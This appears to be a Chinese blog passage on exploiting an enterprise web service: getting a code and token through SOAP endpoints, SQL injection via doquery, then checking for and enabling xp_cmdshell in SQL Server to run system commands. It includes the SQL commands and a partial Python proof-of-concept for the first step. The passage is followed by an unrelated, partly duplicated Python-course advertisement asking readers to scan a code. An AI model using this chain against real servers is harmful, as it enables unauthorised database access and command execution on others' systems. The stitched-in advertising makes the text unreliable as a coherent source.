二、常规利用手段
2.1、通过getenterprise获取code
2.2、通过code参数在gettoken获取token
2.3、通过doquery进行sql注入
2.4、之后判断是否开启xp_cmdshell,进行提权利用
select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name =‘xp_cmdshell’;
返回1即为开启
select is_srvrolemember(‘sysadmin’);
判断是不是sa用户
开启xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’,1;reconfigure;
执行命令:exec master…xp_cmdshell “tasklist”
三、python-poc验证程序
以下验证程序待官方补丁出来后进行公布!!!
import requests
import xml.etree.ElementTree as ET
import json
url = input("请输入测试地址:")
url_all=url+"/CS/Office/TransWebService.asmx??op=GetEnterprise"
headers = {
'Host': 'your-ip',
'Content-Type': 'text/xml; charset=utf-8',
'Content-Length': "length",
'SOAPAction': "http://tempuri.org/GetEnterprise"
}
data = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetEnterprise xmlns="http://tempuri.org/" />
</soap:Body>
</soap:Envelope>
'''
resonse = requests.post(url_all,headers=headers,data=data)
if resonse.status_code ==200:
#print("请求成功")
resonse_content = resonse.text
#print(resonse_content)
root = ET.fromstring(resonse_content)
datas_text = root.find('.//{http://tempuri.org/}GetEnterpriseResult/{http://tempuri.org/}Datas').text
datas_json = json.loads(datas_text)
codes = [data["Code"] for data in datas_json]
print(codes)
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**
![img](https://img-blog.csdnimg.cn/img_convert/a5b34ebc942825db24842aae4a32617c.png)
![img](https://img-blog.csdnimg.cn/img_convert/7b89739b3e01f789f93ca61e51b7aa2f.png)
![img](https://img-blog.csdnimg.cn/img_convert/46506ae54be168b93cf63939786134ca.png)
![img](https://img-blog.csdnimg.cn/img_convert/252731a671c1fb70aad5355a2c5eeff0.png)
![img](https://img-blog.csdnimg.cn/img_convert/6c361282296f86381401c05e862fe4e9.png)
![img](https://img-blog.csdnimg.cn/img_convert/9f49b566129f47b8a67243c1008edf79.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)**
*由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)**
<img src="https://img-community.csdnimg.cn/images/fd6ebf0d450a4dbea7428752dc7ffd34.jpg" alt="img" style="zoom:50%;" />